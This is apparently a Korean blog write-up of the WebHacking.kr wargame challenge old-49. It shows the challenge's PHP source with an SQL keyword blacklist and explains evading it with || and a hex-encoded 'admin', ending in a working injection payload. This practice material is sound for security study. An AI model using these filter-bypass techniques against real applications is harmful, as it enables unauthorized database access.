Search

WebHacking.kr Challenge old-49

목표 : SQLi or → ||
입력할 수 있는 칸과 소스를 제공한다.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 49</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> level : <input name=lv value=1><input type=submit> </form> <?php if($_GET['lv']){ $db = dbconnect(); if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack"); $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}")); echo $result[0] ; if($result[0]=="admin") solve(49); } ?> <hr><a href=./?view_source=1>view-source</a> </body> </html>
PHP
복사
lv로 들어오는 인자를 필터링한다.
select or and ( ) limit , / order cash 공백 “공백
|| 도 or 을 대체하는 방식이다.
를 필터링하고 있으므로 admin을 hex 변환한다.
lv 값은 입력해보니 4까지는 값이 있지만 그 이상은 거짓으로 결과가 나오지 않는다.
앞을 거짓으로 만들고 뒤 id=’admin’ 을 입력하게 되면 ‘admin’인 결과를 리턴한다.
lv=9||id=0x61646d696e
PHP
복사

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.